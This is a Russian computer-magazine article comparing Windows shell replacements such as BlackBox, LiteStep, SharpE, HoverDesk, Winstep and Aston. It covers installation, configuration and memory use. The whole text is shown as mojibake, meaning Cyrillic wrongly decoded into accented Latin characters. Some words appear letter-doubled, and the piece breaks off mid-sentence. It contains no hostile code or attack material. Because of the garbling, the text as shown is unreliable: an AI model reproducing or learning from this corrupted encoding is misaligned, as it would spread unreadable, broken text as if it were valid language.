IC-SHELL, À ÄÀËÅÅ ÏÐÎÑÒÎ SHELL, ÊÎÒÎÐÛÅ
ÎÏßÒÜ ÆÅ ÍÅ ÑÒÎÈÒ ÏÓÒÀÒÜ Ñ ÓÄÀËÅÍÍÛÌ
ÄÎÑÒÓÏÎÌ Ê *NIX-ÌÀØÈÍÅ) È ÏÎÏÛÒÀËÑß
ÈÕ ÑÐÀÂÍÈÒÜ. ÍÓ, À ÅÑËÈ ÑÎÂÑÅÌ ÎÔÈÖÈ-
ÀËÜÍÎ ÑÊÀÇÀÒÜ, ÒÎ ß ÏÐÎÂÅÄÓ ÑÐÀÂÍÅÍÈÅ
ÏÐÎÃÐÀÌÌÍÛÕ ÏÐÎÄÓÊÒÎÂ, ßÂËßÞÙÈÕÑß
ÇÀÌÅÍÎÉ ÃÐÀÔÈ×ÅÑÊÎÉ ×ÀÑÒÈ ÈÍÒÅÐÔÅÉ-
ÑÀ ÏÎËÜÇÎÂÀÒÅËß ÎÑ WINDOWS. Î, ÊÀÊ! ÏÎ-
ÅÕÀËÈ | ShadOS (Shados@real.xakep.ru, ICQ #5922529)
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òî÷íîå êîëè÷åñòâî, êðîìå òîãî, ìîæíî (è íóæíî)
ñàìîìó èõ èçìåíèòü. Äëÿ òåõ, êòî íèêîãäà íå âè-
äåë è íå ïîëüçîâàëñÿ ÁÁ â Íèêñàõ (èëè âîîáùå
Íèêñàìè íå ïîëüçîâàëñÿ... ñî÷óâñòâóþ), ñëåäóåò
çàìåòèòü, ÷òî âñå êîíôèãè ÁÁ õðàíÿòñÿ â ïðîñòûõ
òåêñòîâûõ ôàéëàõ, íî ýòî ñîâñåì íå îçíà÷àåò, ÷òî
ÁÁ ñëîæíî íàñòðîèòü ïî ñâîåìó âêóñó. Âñåãî ëèøü
ïàðó çàòðà÷åííûõ ìèíóò íà èçó÷åíèå õåëïà, ïëþñ
åùå äåñÿòü íà íàïèñàíèå êîíôèãîâ, è ìû ïîëó÷à-
åì øåëë, íè÷óòü íå óñòóïàþùèé ýêñïëîðåðó, à ìî-
æåò è â ÷åì-òî ïðåâîñõîäÿùèé åãî...
Êîíå÷íî, BlackBox íå èìååò âñåõ ãðàôè÷åñêèõ
íàâîðîòîâ, ïðèñóùèõ äðóãèì shell'àì, íî ýòî â
áîëüøåé ñòåïåíè îòíîñèòñÿ ê åãî äîñòîèíñòâàì,
à íå ê íåäîñòàòêàì. Êàê è íèêñîâûé ñîáðàò, BB
äàåò âîçìîæíîñòü ïåðåêëþ÷åíèÿ ìåæäó íåñêîëü-
êèìè ðàáî÷èìè ñòîëàìè. Åñòü è îòëè÷íûå ïëàãè-
íû, äàþùèå âîçìîæíîñòü, íàïðèìåð, ïîëíîñòüþ
íàñòðîèòü ãîðÿ÷èå êëàâèøè. Êðîìå òîãî, ýòà îáî-
ëî÷êà çàíèìàåò äîñòàòî÷íî ìàëî ìåñòà â ïàìÿòè
(ïðèìåðíî 4000 Êá), ÷òî äàåò âîçìîæíîñòü èñ-
ïîëüçîâàòü åå íà ñëàáûõ ìàøèíàõ.
Íàäî áû åùå ñêàçàòü ïàðó ñëîâ îá óñòàíîâêå èç
àðõèâà. Ðàñïàêîâûâàåì àðõèâ, íàïðèìåð, â ïàïêó
C:\Blackbox, çàõîäèì â íåå è ðåäàêòèðóåì ôàéë
blackbox.rc. Èçìåíÿåì çíà÷åíèÿ session.menuFile
è session.styleFile íà ïóòü ê menu.rc (òåêñòîâûé
ôàéë, â êîòîðîì îïèñàíû ýëåìåíòû ìåíþ) è ïóòü

ê ñòèëÿì. Åñëè ãäå-òî îòêîïàëè ïëàãèíû, òî â ôàéëå plugin.rc ïðîïèñûâàåì
ïóòü ê íèì. Õîðîøî áûëî áû åùå ñêà÷àòü Blackbox font pack � â ïðîòèâíîì
ñëó÷àå áóäåò äîñòóïåí òîëüêî øðèôò verdana, ÷òî íå ñîâñåì ïðèãîäíî ê
âîñïðèÿòèþ. Â êîíå÷íîì èòîãå ïîñëå âñåõ ìó÷åíèé çàïóñêàåì blackbox.exe
è íàñëàæäàåìñÿ æèçíüþ. Äëÿ ïîëíîòû êàðòèíû ñîâåòóþ åùå èñïûòàòü
Darkstep è BlueBox. Âñå ýòè òðè ìåíåäæåðà ñäåëàíû ïî îáðàçó è ïîäîáèþ...
Ýýý... Â îáùåì, âñå îíè ïîõîæè êàê ïî âíåøíåìó âèäó, òàê è ïî ñïîñîáó
íàñòðîéêè. Âïåðåä, òîâàðèùè! :)

[litestep] Ïåðåéäåì ê èçó÷åíèþ ñëåäóþùåãî ïîäîïûòíîãî. Ñðàçó æå îáðà-
ùàåò íà ñåáÿ âíèìàíèå èíñòàëëÿòîð. Âûáèðàåì ïîëíóþ óñòàíîâêó. Èíñòàë-
ëÿòîð ïðîñèò óêàçàòü ïóòè ê èñïîëüçóåìûì ïî óìîë÷àíèþ ïðîãðàììàì �
ïðîïèñûâàåì. Íàñ ïðîñÿò ïåðåçàãðóçèòüñÿ � ïåðåçàãðóæàåìñÿ. Îïÿòü ñìîò-
ðèì. Íó, çäåñü ìèíèìàëèçìîì BlackBox è óæå íå ïàõíåò � ýòî äåéñòâèòåëü-
íî ïðèÿòíûé ïî âèäó shell. ÈÌÕÎ. Íà ïåðâûé âçãëÿä, âûãëÿäèò îí íå î÷åíü
ñèìïàòè÷íî, íî ÿ âèäåë ýòîò shell â ïîëíîé åãî êðàñå. Êàê è âñå freeware-ïðî-
åêòû, litestep is fully-customizable, òàê ñêàçàòü. Äëÿ òåõ, êòî â òàíêå, ïîÿñíÿþ:
èç ôåêàëüêè ïîëó÷àåì êîíôåòêó ïóòåì âûïðÿìëåíèÿ ðóê è ïðàâêè êîíôèãîâ :).
Âñå æåëàþùèå ìîãóò ñêà÷àòü (http://dev.litestep.net/download.php) èñõîäíèêè è
ñîáðàòü litestep ó ñåáÿ íà òà÷êå, ÷òî áëàãîòâîðíî ïîâëèÿåò íà îïòèìèçàöèþ,
à çíà÷èò, è íà ñêîðîñòü ðàáîòû � ïðîâåðåííî ëè÷íî. Äëÿ æàæäóùèõ ñîâåòóþ
ñíà÷àëà ïî÷èòàòü äîêóìåíòàöèþ íà èõ ñàéòå î òîì, êàê ïðàâèëüíî ýòî äåëàòü.
Ñóùåñòâóåò îãðîìíîå êîëè÷åñòâî òåì è ïëàãèíîâ ê íåìó, ÷åãî è ñëåäîâàëî
îæèäàòü, âåäü ýòîò shell ÿâëÿåòñÿ îäíèì èç ïîïóëÿðíåéøèõ. Áîëüøå âñåãî

http://bb4win.org � BlackBox.
www.lowdimension.net � SharpE.
www.courtah.net � Serenade.
www.hoverdesk.net � HowerDesk.
http://litestep.net � LiteStep.
www.astonshell.com � Aston.
www.lighttek.com � Talisman.
www.winstep.net � WinStep.
www.microsoft.com/down-
loads/release.asp?relea-
seid=12651 � Visual Basic,
íåîáõîäèìûé äëÿ Winstep.
http://desktopian.org/bb/
pluginlist.html � ïëàíèíû 
äëÿ BackBox.
www.devianart.com � îã-
ðîìíîå êîëè÷åñòâî îáîåâ,
ïàëãèíîâ è òåì ïðàêòè÷åñêè
äëÿ âñåõ ãðàôè÷åñêèõ îáî-
ëî÷åê èç ñòàòüè.
http://desktopian.org � ñàéò, öå-
ëèêîì è ïîëíîñòüþ ïîñâÿùåí-
íûé ãðàôè÷åñêèì øåëëàì.

Íà íàøåì äèñêå òû íàéäåøü
ïîëíûå âåðñèè ïðîãðàìì,
îïèñàííûõ â ýòîé ñòàòüå.

BB4win â ñòèëå Unix-look
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ìíå ïðèãëÿíóëàñü òåìà, êîñÿùàÿ ïîä BlackBox � ñîâåòóþ è âàì åå èñïûòàòü.
Êîðî÷å, åãî ñòîèò ïîþçàòü (òóò íåêîòîðûå çëîâðåäíûå ýëåìåíòû çàâîïèëè:
«Ó êîãî êîðî÷å, òîò ñèäèò äîìà è îòòÿãèâàåò», íî îáúåì ñòàòüè ìåíÿ îãðàíè-
÷èâàåò, òàê êàê õî÷åòñÿ ðàññìîòðåòü ïîáîëüøå îáîëî÷åê). Äåðçàéòå.

[SharpE] Íåîáû÷íàÿ âåùèöà. Ðàíüøå ýòîò øåëë íàçûâàëñÿ SharpOS.
Êàê è ïðåäûäóùèå èñïûòóåìûå, îí òîæå ñîâåðøåííî áåñïëàòíûé è êàê
ñêàçàíî â FAQ, ïðîäîëæàåò èì áûòü. ×òî æå, ïîñìîòðèì ïîáëèæå. Âûáè-
ðàåì ïîëíóþ óñòàíîâêó � ñòàâèòñÿ ìîë÷à, ïîòîì ñïðàøèâàåò: «Íå õîòè-
òå ëè âû ñäåëàòü SharpE äåôîëòíûì shell'îì?», è åùå ðåêîìåíäóåò ñìå-
íèòü XP-logon íà NT-logon. Çà÷åì � äëÿ ìåíÿ òàê è îñòàëîñü çàãàäêîé, îä-
íàêî ñîãëàøàþñü. Îïÿòü íàñ ïðîñÿò ïåðåçàãðóçèòüñÿ, è êàê âû óæå äîãà-
äàëèñü � ïåðåçàãðóæàåìñÿ è îïÿòü ñìîòðèì. Íå çíàþ, ïî÷åìó, íî ýòîò
øåëë ìíå ñðàçó ïîëþáèëñÿ, áûëà â íåì êàêàÿ-òî èçþìèíêà è êàçàëñÿ îí
êàêèì-òî èíûì. Ïåðåä ìîèì âçîðîì ïðåäñòàëà íåîáû÷íàÿ êàðòèíà: â
âåðõíåé ÷àñòè ýêðàíà íàõîäèòñÿ ïàíåëü ñ íåêîé êíîïêîé, ÿâëÿþùåéñÿ
ñèìáèîçîì ïóñêà è ÷àñîâ, ïî íàæàòèþ êîòîðîé îòêðûâàåòñÿ ìåíþ, àíàëî-
ãè÷íîå òîìó, ÷òî îòêðûâàåòñÿ è ïðàâîé êíîïêîé êðûñû. Êàê ïîòîì îêàçà-
ëîñü, ýòî îäèí èç ïëàãèíîâ, è ýòà ïàíåëü ñïåöèàëüíî ïðåäíàçíà÷åíà äëÿ
íèõ. Â ñòàíäàðòíîé ïîñòàâêå ñëåäóåò îòìåòèòü ïëàãèíû óïðàâëåíèÿ
Winamp'îì, ïëàãèíû ïîãîäû è òåêñòîâûõ çàìåòîê. Êñòàòè, âñå ïëàãèíû ïè-
øóòñÿ íà äåëüôè, è åñëè òû îáëàäàåøü äîñòàòî÷íûìè çíàíèÿìè, âïîëíå
ìîæåøü íàöàðàïàòü ÷òî-òî ñâîå, à èñõîäíèêè íåêîòîðûõ óæå ãîòîâûõ ìî-
æåøü íàéòè ïî àäðåñó www.545studios.com. Â íèæíåé ëåâîé ÷àñòè ýêðàíà
òåïåðü íàõîäèòñÿ ñèñòåìíûé òðåé, à ñïðàâà � ïåðåêëþ÷àòåëü ðàáî÷èõ
ñòîëîâ. Ëþáîé ýëåìåíò ðàáî÷åãî ñòîëà òåïåðü ìîæíî ñêðûòü, èçìåíèòü
åãî ïîëîæåíèå íà ýêðàíå. Åñëè ñîáèðàåøüñÿ èñïîëüçîâàòü ýòîò øåëë,
ïîñòàðàéñÿ çàáûòü î ÿðëûêàõ íà ðàáî÷åì ñòîëå. Èñïóãàëñÿ, äà? À íàôèê
îíè âîîáùå íóæíû? Øó÷ó. Ïðîñòî âìåñòî ÿðëûêîâ çäåñü èñïîëüçóþòñÿ
òàê íàçûâàåìûå Äåñêòîï-Îáüåêòû. Ñíà÷àëà ñîçäàåòñÿ çàãîòîâêà òàêîãî
îáúåêòà íà ðàáî÷åì ñòîëå, ïîñëå ÷åãî âûáèðàåì åãî òèï: ôàéë, ïàïêà,
äèñê èëè óðë, óêàçûâàåì ïóòü, è âîò îíî óæå ãîòîâî ê ïðèìåíåíèþ :). Ïî-
ðà äîáàâèòü è ëîæêó äåãòÿ êî âñåìó âûøåñêàçàííîìó: íåñìîòðÿ íà äî-
âîëüíî ïðèÿòíîå âïå÷àòëåíèå, SharpE íåëüçÿ ïîðåêîìåíäîâàòü ê ïîâñåä-
íåâíîìó èñïîëüçîâàíèþ � ðàáîòà ñ íèì íå îáîøëàñü áåç îêàçèé � ïàðó

ðàç âûñêî÷èëà ìåññàãà Out of memory, èíîãäà ïî íåïîíÿòíûì ïðè÷èíàì
Øàðï íà÷èíàë òîðìîçèòü è äàæå ïàäàòü, à ïîñëå ðåáóòà ïðåäëàãàë çàïóñ-
òèòü ñâîþ ïàíåëü áåç ïëàãèíîâ (íàøëè âèíîâàòûõ :)). Áóäåì íàäåÿòüñÿ íà
ñëåäóþùèå âåðñèè, âåäü çàäóìêà-òî èíòåðåñíàÿ.

[talisman òâîåé âèíäû] Íåçàñëóæåííî çàáûòûé shell-replacement. Îí,
êîíå÷íî, äîñòîèí âíèìàíèÿ, âîò òîëüêî ñòàíäàðòíûå òåìû ìíå íå î÷åíü
ïîíðàâèëèñü � ñîâåòóþ çàêà÷àòü ñåáå ÷åãî-íèáóäü åùå. Talisman ñëàâèòñÿ
ñâîèìè ïëàãèíàìè, ñðåäè êîòîðûõ ïîïàäàþòñÿ äîâîëüíî èíòåðåñíûå ýêçå-
ìïëÿðû. Åñòü çäåñü è ñâîé ñêðèïòîâûé ÿçûê. Âñå ôèøêè ýòîãî shell'a ñëîæ-
íî ïåðå÷åñòü, íî ãëàâíàÿ èç íèõ � ýòî ÍÀÑÒÎßÙÈÅ âîçìîæíîñòè íàñòðîé-
êè âñåãî è âñÿ. Õî÷åøü äðóãèå êíîïêè? Íå ïðîáëåìà. Ðèñóé ñâîè è âñòàâ-
ëÿé èõ â ëþáóþ òåìó. ×àñû â äðóãîå ìåñòî ïåðåìåñòèòü? Äà êóäà óãîäíî,
ïðîñòî ìåíÿåì öèôåðêè X è Y. È ýòî îòíîñèòñÿ íå òîëüêî ê ÷àñàì, à êî
ÂÑÅÌ îáúåêòàì ðàáî÷åãî ñòîëà. Ïðîçðà÷íîñòü? È ýòî çäåñü èìååòñÿ. È äà-
æå â ìåíþ ñ ðóññêèì âñå â ïîðÿäêå. Â ïàìÿòè ýòî ÷óäî çàíèìàåò 6176 Êá,
÷òî íå ìîæåò íå ðàäîâàòü. Í-äà, âñå áû íè÷åãî. Âîò òîëüêî ñòàíäàðòíûå òå-
ìû ìíå íå î÷åíü ïîíðàâèëèñü�

[Serenade] Ýòîò ïàêåò ïîñòàâëÿåòñÿ òîëüêî â âèäå èíñòàëëÿòîðà äîñòàòî÷-
íî íåáîëüøîãî ðàçìåðà (650 Êá). Óñòàíîâêà ïðîõîäèò áåç îñîáûõ ïðîáëåì.
Â õåëï ìîæíî è íå çàãëÿäûâàòü � òàì ïîëåçíîãî ïî÷òè íè÷åãî è íåò. Ïîñëå
ïåðåçàãðóçêè çàìå÷àþ ïåðâûå íåïðèÿòíûå ìîìåíòû � ïàíåëü çàäà÷ îòîá-
ðàæàåò êðàêîçÿáëàìè ðóññêèå øðèôòû. Òóò ÿ çàìåòèë â ïðàâîé íèæíåé ÷àñ-
òè ýêðàíà êíîïî÷êó Configure è, åñòåñòâåííî, æìÿêíóë åå, òîãäà ìîåìó âçî-
ðó îòêðûëîñü îêíî, ãäå íà âêëàäêå äëÿ ïðîäâèíóòûõ (äûê îá Àäâàíñåäå è
ðå÷ü... ;)) ÿ îáíàðóæèë äåðåâî íàñòðîåê. Òàêîå îùóùåíèå, ÷òî ïðîãðàììåðû
ïèñàëè ýòî âñå òîëüêî äëÿ ñåáÿ, ïîòîìó ÷òî ðàçîáðàòüñÿ ñðàçó â ýòîì ïðîá-
ëåìàòè÷íî, òåì íå ìåíåå, ÿ îáíàðóæèë ïàðàìåòð encoding è âåçäå çàìåíèë
åãî ñíà÷àëà íà ñð1251, à çàòåì è íà þíèêîä, íî ýòî áåäó ñ ïàíåëüþ çàäà÷
òàê è íå ïîïðàâèëî. Ïëþíóë. Ðàññìàòðèâàþ äàëüøå. Ïî ïðàâîé êíîïêå ìû-
øè, êàê ïîâåëîñü, ïîÿâëÿåòñÿ ìåíþ, íî â íåì ìîæíî òîëüêî âûçâàòü ñâîé-
ñòâà ìîíèòîðà, ïàíåëü óïðàâëåíèÿ èëè âûêëþ÷èòü êîìïüþòåð � âñå îñ-
òàëüíîå ïîÿâëÿåòñÿ ïî ëåâîé êíîïêå ìûøè, ÷òî ìåíÿ ñëåãêà óäèâèëî. À ïîï-
ðîáóéòå óãàäàòü, ãäå ðàñïîëàãàåòñÿ ïàíåëü çàäà÷? Êòî ñêàçàë � íåò åå?
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HowerDesk ñ òåìîé Mesh Smooth Autumn

litestep â ñâîåì ïåðâîçäàííîì âèäå



Åñòü. Ñâåðõó! Ïðàâèëüíî! Îïÿòü ñâåðõó! Âåðîÿòíî, âñå ðàçðàáîò÷èêè ïûòà-
þòñÿ ñäåëàòü ÷òî-òî âûäàþùååñÿ, ÷òî â ñâîåì ñòðåìëåíèè îêàçûâàþòñÿ
óæàñíî ïðåäñêàçóåìûìè. Íó, âîò áûëà ïàíåëü ñíèçó � íåò, ìû åå ñäåëàåì
ñâåðõó, âåäü â ýêñïëîðåðå ñâåðõó íè÷åãî íå âèñèò, à ó íàñ áóäåò... Íó äà
ëàäíî... Âîò â ýòîì øåëëå òî÷íî ìîæíî çàáûòü î ÿðëûêàõ: çäåñü íåò âîç-
ìîæíîñòè èõ ñîçäàòü. È ïàíåëè ïåðåìåùàòü òîæå íåâîçìîæíî, çàòî åñòü ó
ñåðåíàäû è ñâîè ôèøêè � íàïðèìåð, ñëåâà âíèçó ÿ íàáëþäàë èíäèêàòîð
çàãðóæåííîñòè ïðîöåññîðà. Îáùåå âïå÷àòëåíèå ó ìåíÿ ñîñòàâèëîñü íå
ëó÷øåå: â îïåðàòèâêå ýòîò øåëë çàíèìàåò îòíîñèòåëüíî ìíîãî ìåñòà (îêî-
ëî 8600 Êá), íî ðàáîòàåò áûñòðî è áåçãëþ÷íî. À âîò ôóíêöèîíàëüíîñòè ÈÌ-
ÕÎ ó íåãî ìàëîâàòî. Òå æå èíäèêàòîðû áåç îñîáûõ ïðîáëåì ìîæåøü ïîñ-
òàâèòü íà ðàáî÷èé ñòîë, èñïîëüçóÿ ïðîãðàììó Samurize.

[Howerdesk � ïàðÿùèé äåñêòîï] Èòàê, ïðîøó ëþáèòü è æàëîâàòü:
Howerdesk. Íåïðåìåííî çàãëÿíèòå íà èõ ñàéò. Ïî ñëîâàì ðàçðàáîò÷èêîâ,
îíè ìîãóò ïðåäëîæèòü âàì áîëåå 200 òåì äëÿ ýòîãî øåëëà. Ñàì ÿ, ïðàâäà,
ïî òåõíè÷åñêèì ïðè÷èíàì ïðîâåðèòü ýòî íå ñìîã, ïîòîìó ÷òî ñêîðîñòü ìî-
äåìêè òîãî íå ïîçâîëÿåò, äà è âàñ ðàññòðàèâàòü íå õîòåëîñü � íà âêóñ è
öâåò òîâàðèùåé íåò ;). À åùå ó íèõ ðàçäåë çàãðóçêè òåì íå ãîòîâ. Åùå õî-
òåëîñü áû óïîìÿíóòü î òàêèõ âîçìîæíîñòÿõ, êàê: èíòåãðèðîâàííûé â øåëë
äàò÷èê ñèñòåìíûõ ðåñóðñîâ, êîíôèãóðèðóåìîå ñèñòåìíîå ìåíþ, ìåäèà-
ïëååð è êîíñîëüíûå óòèëèòû, ïðîäâèíóòûå ÷àñû è åùå Áîã çíàåò êàêèå íà-
âîðîòû, íî îïÿòü æå, ïî çàÿâëåíèÿì ðàçðàáîò÷èêîâ. Óñòàíîâèëñÿ îí áåç
ïðîáëåì, ïðè÷åì êàê íà Windows XP, òàê è íà Windows 2003 Server. Ìîãó
òåáÿ çàâåðèòü, ÷òî ïðèâûêàòü ê ýòîìó íîâøåñòâó òû áóäåøü äîëãî, íî îíî
òîãî ñòîèò. Âìåñòå ñ óñòàíîâî÷íûì ïàêåòîì èäóò òðè òåìû: Dinks,
SimpleStuff è Ginza. ß ñòîïóäîâî óâåðåí, ÷òî òû íàéäåøü ñåáå ïîäõîäÿùóþ,
åñëè íå èç ñòàíäàðòíûõ, òî íà ñàéòå äåâåëîïåðîâ òî÷íî. Îïèñûâàòü ýòîò
øåëë, èñõîäÿ èç âíåøíåãî âèäà, íå èìååò ñìûñëà, ÷òî, âïðî÷åì, ïðèìåíè-
ìî êî âñåì ïëàòíûì ïðîäóêòàì (è ê Aston òîæå, õîòÿ åãî ÿ îïèñàë â ïðîø-
ëîé ñòàòüå), âåäü ïðîãðàììåðû çà ýòî äåíüãè ïîëó÷àþò, à ñëåäîâàòåëüíî,
ïîòðóäèëèñü íà ñëàâó. Íó òàê âîò: ðàññêàæó ëó÷øå î ôè÷àõ ýòîãî øåëëà è
åãî íåäîñòàòêàõ. Â îïåðàòèâíîé ïàìÿòè ó ìåíÿ ýòîò øåëë ðàçëîæèëñÿ íà
9568 Êá. Äëÿ ñðàâíåíèÿ: explorer � ïîðÿäêà 16 Ìá. Îáåùàííûé äàò÷èê
ñèñòåìíûõ ðåñóðñîâ íå îïðàâäàë ìîèõ îæèäàíèé: çäåñü òîëüêî ãðàôèê

çàãðóæåííîñòè CPU, îáúåì ôèçè÷åñêîé è âèðòóàëüíîé ïàìÿòè. À ÿ-òî
æäàë ïðèáàìáàñîâ âðîäå SpeedFun. Åñòü çäåñü è ìåíåäæåð íåñêîëüêèõ
ðàáî÷èõ ñòîëîâ. Ïî óìîë÷àíèþ èõ 4 øòóêè. Ñòîèò çàìåòèòü, ÷òî êðîìå ëî-
êàëüíîãî âðåìåíè, ñòàíäàðòíûå òåìû ïîêàçûâàþò åùå è âðåìåííûå çîíû
äðóãèõ ñòðàí. Âîçìîæíî, ýòî áóäåò óäîáíî ãèêàì, êîòîðûå ìíîãî ïóòåøå-
ñòâóþò, èëè ÷åëàì, êîòîðûå ìíîãî îáùàþòñÿ ñ èíîñòðàíöàìè. Ëè÷íî ìíå
ýòî ïîêàçàëîñü ëèøíèì. Menu Editor ýòîãî øåëëà òîæå ñòîÿùèé. Ïîñòàâü
ñåáå åãî, è óáåäèñü âî âñåõ ïðåëåñòÿõ ñàì. Äà, è íå çàáóäü ñêà÷àòü äîïîë-
íèòåëüíûå òåìû � îíè îáÿçàòåëüíî òåáå ïîíðàâÿòñÿ.

[Winspep by step � ïîêà îò ìîíèòîðà íå îñëåï] Ñëåäóþùèé èíäè-
âèä, òî÷íåå ïðåäñòàâèòåëü, à âïðî÷åì, íàçûâàéòå, êàê õîòèòå, îò ýòîãî åãî
öåííîñòü íå ìåíÿåòñÿ. Winstep � ïî áîëüøîìó ñ÷åòó, ýòî íå shell-replace-
ment, à íàáîð óòèëèò, ñðåäè êîòîðûõ:
NNeexxttSSttaarrtt � çàìåíà ìíîãîñòðàäàëüíîãî ïóñêà, ñèñòåìíîãî òðåÿ è ïàíåëè çàäà÷.
WWoorrkkSShheellff � ñîáñòâåííî, çàìåíà ðàáî÷åãî ñòîëà.
FFoonntt BBrroowwsseerr � ÷ðåçâû÷àéíî óäîáíàÿ óòèëèòà êîíôèãóðèðîâàíèÿ øðèôòîâ. 
Âîò êàê-òî òàê� À â êîíå÷íîì èòîãå, ó÷èòûâàÿ èõ èíòåãðèðîâàííîñòü, ïî-
ëó÷àåì shell-enhancer (Winstep ðàáîòàåò ñ explorer'îì, à íå ÿâëÿåòñÿ åãî
ïîëíîöåííîé çàìåíîé). Ìîæåò ýòî è óäîáíåå, âåäü òû ìîæåøü óñòàíîâèòü
âñå ýòî ïî ÷àñòÿì è äà áóäåò òåáå ñ÷àñòüå, ÿ æå cêà÷àë full-pack, è áóäó
ðàçãëÿäûâàòü ñåé÷àñ åãî ïîáëèæå ïî ïîëíîé ïàíîðàìå. Ïîñòàðàþñü ñðàçó
ïðåäóïðåäèòü î ïðîáëåìàõ, êîòîðûå ìîãóò âîçíèêíóòü ïðè óñòàíîâêå. Winspep
íàïèñàí íà Visual Basic 5, ñëåäîâàòåëüíî, è â ñèñòåìå ó òåáÿ îí äîëæåí
áûòü ïðîïèñàí. Åñëè ó òåáÿ â ñèñòåìíîé äèðåêòîðèè íåò äèíàìè÷åñêèõ
áèáëèîòåê Msvbvm50.dll, Oleaut32.dll, Olepro32.dll, Stdole2.tlb, Asycfilt.dll è
Comcat.dll, òî òåáå ïðÿìàÿ äîðîãà íà windows update. Áîëüøå ïðîáëåì âîç-
íèêíóòü íå äîëæíî. Òåïåðü îáî âñåì ïîíåìíîãó. Íà÷íó ñ ïëîõîãî: â ìåíþ,
çà êîòîðîå îòâå÷àåò êîìïîíåíò NextSTART, íåêîððåêòíî îòîáðàæàþòñÿ
ðóññêèå ñèìâîëû � òàê ÷òî ïðèäåòñÿ âñå ïåðåèìåíîâûâàòü ïî-àíãëèéñêè.
Èç õîðîøåãî: â ñòàíäàðòíîé ïîñòàâêå îêîëî äåñÿòè òåì, ïðè÷åì äîñòàòî÷-
íî ïðèÿòíûõ âçãëÿäó. Ñòîèò îòìåòèòü ïëàãèí ïîãîäû, ÷àñû, êîòîðûå ìîæ-
íî ðàçìåñòèòü â ëþáîì ìåñòå ýêðàíà, CPU meter íà ðàáî÷åì ñòîëå, ìåíþ
íàñòðîéêè ñ êó÷åé âîçìîæíîñòåé è, ïîæàëóé, ñ âàñ õâàòèò. Õî÷åøü, ÷òîáû
Winstep çàïóñêàëñÿ àâòîìàòè÷åñêè? Îòêðûâàé âêëàäêó Global Preferences
è ñòàâü ãàëêó «Run WorkShelf on Startup». Åñëè âîçíèêíóò êàêèå-òî âîïðî-
ñû � íå ñïåøè ïèñàòü ìíå, ëó÷øå çàãëÿíè â help è FAQ. Òàì ìíîãî ÷åãî
èíòåðåñíîãî ãîâîðÿò :).

[Aston shell] Âîò è ÷åìïèîí ìîåãî áåñïðèñòðàñòíîãî îáçîðà. Ýòîò øåëë
èìååò âñåãî îäèí íåäîñòàòîê: îí ïëàòíûé. ß äóìàþ, ÷òî òåáÿ íå ñòîèò ó÷èòü,
êàê ñïðàâèòüñÿ ñ ýòîé áåäîé? ×òî? Êòî ñêàçàë ïîêðÿêàòü ñ astalavista'é?
Óóó!!! Êàêîå áå-çî-áðà-çè-å! Êðÿêàòü áóäåøü ñ óòêàìè â îçåðå :). Áåçóñëîâ-
íî, êóïèòü çà ñâîè êðîâíûå! ;) Îïÿòü æå, íà÷íåì ñ óñòàíîâêè (à ÷òî, åñòü
äðóãèå âàðèàíòû? ;)). Îïðåäåëÿåì Aston øåëëîì ïî óìîë÷àíèþ, ïîòîì âû-
áèðàåì, áóäåò ëè äîñòóïíà äëÿ ñåáÿ èëè äëÿ âñåõ ýòà îáîëî÷êà (ïóñòü ìëàä-
øèé áðàòèê ïîðàäóåòñÿ :)). Åñëè òû ñòàâèøü Aston íà ìàøèíó ñ 9õ âèíäîé
(à ðàçâå îñòàëèñü åùå òàêèå ìàìîíòû?), è òåì áîëåå, åñëè ó òåáÿ Èøàê
âåðñèè 3.X (â ÷åì ÿ åùå â áîëüøåé ñòåïåíè ñîìíåâàþñü), òî íå çàáóäü îò-
ìåòèòü ñîîòâåòñòâóþùóþ ãàëî÷êó, à òî Aston òåáÿ îáëîæèò ìàòîì ïðè çà-
ïóñêå :). Åñëè òû íå ñîáèðàåøüñÿ ðàññòàâàòüñÿ ñ íàñëåäèåì âèíäû, òî áèøü
explorer'îì, à õî÷åøü ïðîñòî ïîñìîòðåòü íà ýòîò øåëë, òî ñîâåòóþ ïîñòà-
âèòü ïðîäâèíóòûé ñâèò÷åð shell'îâ � Shell Swapper, êîòîðûé ïîçâîëèò ïå-
ðåêëþ÷àòüñÿ ìåæäó øåëëàìè è èõ ðåæèìàìè çàïóñêà. Â ñòàíäàðòíîé ïîñ-
òàâêå åñòü 4 òåìû: Aqua, AstonXP, Aston 1.9.1 è Aston Desktop, õîòÿ íà ñà-
ìîì äåëå ýòî äàæå áîëüøå ÷åì ïðîñòî òåìû. Íî îáî âñåì ïî ïîðÿäêó. Íà
ïåðâûé âçãëÿä ýòîò øåëë òðóäíî îòëè÷èòü îò êðàñèâî íàñòðîåííîãî explor-
er'à, íî ãëàâíàÿ ôèøêà ýòîãî øåëëà â ðàáî÷åì ñòîëå, à òî÷íåå â âîçìîæ-
íîñòÿõ åãî íàñòðîéêè. Ðàáî÷èé ñòîë òåïåðü äëÿ òåáÿ íå ïðîñòî ñâàëêà ÿð-
ëûêîâ � ýòî ïîëíîôóíêöèîíàëüíûé ðàáî÷èé èíñòðóìåíò, à ëþáîé îáúåêò
íà íåì (ÿðëûêîì íàçâàòü ýòî ÿçûê íå ïîâîðà÷èâàåòñÿ) äàåò ïðîñòî îãðîì-
íîå ïðîñòðàíñòâî äëÿ òâîð÷åñòâà. Ñîîòâåòñòâåííî, òåìà � ýòî åùå è íàáîð
ïðåäóñòàíîâîê ÿðëûêîâ ðàáî÷åãî ñòîëà. Åñòü åùå â àñòîíå âûåçæàþùàÿ
ïàíåëü, ñäåëàííàÿ ïî îáðàçó è ïîäîáèþ àíàëîãè÷íîé â MacOS X, íî ïî
áîëüøîìó ñ÷åòó ýòî ïðîñòîé êîíòåéíåð ÿðëûêîâ. Ìåëî÷ü, à ïðèÿòíî :). Äà-
æå êíîïêà WinKey çäåñü ðàáîòàåò äîëæíûì îáðàçîì.

[P.S/2] Ïðî Windows code name Longhorn (êîòîðûé, âîçìîæíî, ñìåíèò èìÿ �
ïðèì. Ëîçîâñêîãî) ñëûøàë? Õî÷åøü óâèäåòü åãî ñåé÷àñ, íå óñòàíàâëèâàÿ
êðèâûå áèëäû? Òîãäà èùè íà äèñêàõ æóðíàëà LonghornTransformationPack.
À âîò, ñêàæåì, çàõîòåëîñü òåáå òðåõìåðíîñòè íà ðàáî÷åì ñòîëå. Òîãäà
ñòàâü Sphere XP. Çà íèì ÿ òåáÿ ñíîâà îòïðàâëÿþ íà äèñê æóðíàëà. Ýòî âåäü
òîæå Shell-enhancerû, à ñëåäîâàòåëüíî, áóäóò èíòåðåñíû âñåì, êòî âçÿëñÿ
